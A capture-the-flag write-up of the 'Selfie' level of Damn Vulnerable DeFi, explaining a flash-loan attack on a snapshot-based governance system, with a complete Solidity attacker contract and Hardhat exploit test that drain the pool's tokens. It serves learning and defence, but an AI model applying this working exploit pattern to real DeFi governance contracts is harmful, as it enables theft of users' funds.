06.Selfie
2023-06-23 20:22:08 # 05.Damn Vulnerable DeFi v2 CTF

Selfie

analyse

A new cool lending pool has launched! It’s now offering flash loans of DVT tokens. Wow, and it even includes a really fancy governance mechanism to control it. What could go wrong, right? You start with no DVT tokens in balance, and the pool has 1.5 million. Your objective: take them all.

the whole business analyse

  • SelfiePool:This is a flashloan pool. Not only can we call flashloan() in this contract, but we can also call drainAllFunds() which can be called after passing the modifier onlyGovernance. Analyse the topic, we can learn that we should call drainAllFunds() to pass this level
  • SimpleGovernance:This is the main contract. It is a governing contract, anyone can call queueAction to put a motion in the execution queue after we have got enough Snaptshot. And then the motions will be executed one by one.
  • DamnValuableTokenSnapshot:ERC20 token, having the snapshot ability.

flashloan analyse

From the whole business analyse, i have an idea to complete this level: get a lot of money by flashloan => take a snapshot => put our malicious motion to the queue(contain the drainAllFunds() payloan) => Transfer tokens back to pool => wait for 2 days => exectute our motion and steal the money => transfer the money to the attacker wallet

1.we can flashloan a lot of money to take a snapshot so that we can get enough snapShot token, so we can pass this code:

1
2
3
4
5
6
7
require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");

function _hasEnoughVotes(address account) private view returns (bool) {
uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
}

2.put our malicious motion to the queue(contain the drainAllFunds() payloan): the queueAction needs a payload as parameter, it completely depends on us. So we can call the drainAllFunds(). Then the governance would call this function to drain all the funds to us while it can pass the modifier onlyGovernance.

1
2
3
4
//create a malicious payload
bytes memory data = abi.encodeWithSignature("drainAllFunds(address)", address(this));
// Use tokens to queue a new action
governance.queueAction(address(selfiePool), data, 0);

3.Transfer tokens back to pool

1
DVT.transfer(address(selfiePool), _amount);

4.wait for two days

1
2
// Travel through time (2 days) in order to execute the queued action.
await ethers.provider.send('evm_increaseTime', [2 * 24 * 60 * 60])

5.exectute our motion and steal the money . transfer the money to the attacker wallet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function attack_2daysLater(uint actionId) external {
require(msg.sender == owner);
governance.executeAction(actionId);
DVT.transfer(msg.sender, DVT.balanceOf(address(this)));
}

function executeAction(uint256 actionId) external payable {
require(_canBeExecuted(actionId), "Cannot execute this action");

GovernanceAction storage actionToExecute = actions[actionId];
actionToExecute.executedAt = block.timestamp;

actionToExecute.receiver.functionCallWithValue(
actionToExecute.data,
actionToExecute.weiAmount
);

emit ActionExecuted(actionId, msg.sender);
}

vulnerability

Once again, like in some of the previous levels, the vulnerability lies inside the contract implementation, that allows any receiver contract to perform a malicious action.

Don’t trust other contracts blindly. Be careful of what you allow your contracts to do on external calls. The implementation of this protocol is vulnerable because it delegates an execution to an unknown external contract, and opens a backdoor for possible attacks.

Besides, since the vast majority of the Governance tokens are stored on a singular address (the SelfiePool contract), and is not well distributed among several accounts/addresses, the protocol has a single point of failure, making the attack easier.

Here’s a good article from the highly reputable blockchain security company OpenZeppelin that should help you learn more about strategies and best practices for safer governance systems.

solution

  • SelfieAttacker
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
pragma solidity ^0.8.0;

import "../selfie/SimpleGovernance.sol";
import "../selfie/SelfiePool.sol";
import "../DamnValuableTokenSnapshot.sol";

contract SelfieAttacker {
SelfiePool immutable selfiePool;
SimpleGovernance immutable governance;
DamnValuableTokenSnapshot immutable DVT;
address immutable owner;

constructor(
address _selfiePool,
address _governance,
address _dvt
) {
selfiePool = SelfiePool(_selfiePool);
governance = SimpleGovernance(_governance);
DVT = DamnValuableTokenSnapshot(_dvt);
owner = msg.sender;
}

function attack_flashloan(uint256 borrowAmount) external {
require(msg.sender == owner);
selfiePool.flashLoan(borrowAmount);
}

function receiveTokens(address _token, uint256 _amount) external {
// Take snapshot when we receive tokens.
// This is for passing the _hasEnoughVotes requirement of this contract when
// getting balance aat last snapshopt
DVT.snapshot();

bytes memory data = abi.encodeWithSignature("drainAllFunds(address)", address(this));

// Use tokens to queue a new action
governance.queueAction(address(selfiePool), data, 0);

// Transfer tokens back to pool
DVT.transfer(address(selfiePool), _amount);
}

function attack_2daysLater(uint actionId) external {
require(msg.sender == owner);
governance.executeAction(actionId);
DVT.transfer(msg.sender, DVT.balanceOf(address(this)));
}
}
  • test
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */

// Deploy evil contract
const SelfieAttacker = await ethers.getContractFactory('SelfieAttacker', attacker)
this.selfieAttackerContract = await SelfieAttacker.deploy(
this.pool.address,
this.governance.address,
this.token.address
)

// Log balances
console.log('Before: POOL DVT BALANCE: ', String(await this.token.balanceOf(this.pool.address)))
console.log('Before: ATTACKER DVT BALANCE: ', String(await this.token.balanceOf(attacker.address)))

// Make a flash loan. This will take snapshot, queue evil action and transfer DVT back to pool
await this.selfieAttackerContract.connect(attacker).attack_flashloan(TOKENS_IN_POOL)

// Travel through time (2 days) in order to execute the queued action.
await ethers.provider.send('evm_increaseTime', [2 * 24 * 60 * 60])

// Execute the queued action. This will call the drainAllFunds() function of the pool contract and send them to our evil contract.
// Retrieve all DVT from attacker contract to attacker address.
await this.selfieAttackerContract.connect(attacker).attack_2daysLater(1)

// Log balances
console.log('After: POOL DVT BALANCE: ', String(await this.token.balanceOf(this.pool.address)))
console.log('After: ATTACKER DVT BALANCE: ', String(await this.token.balanceOf(attacker.address)))

});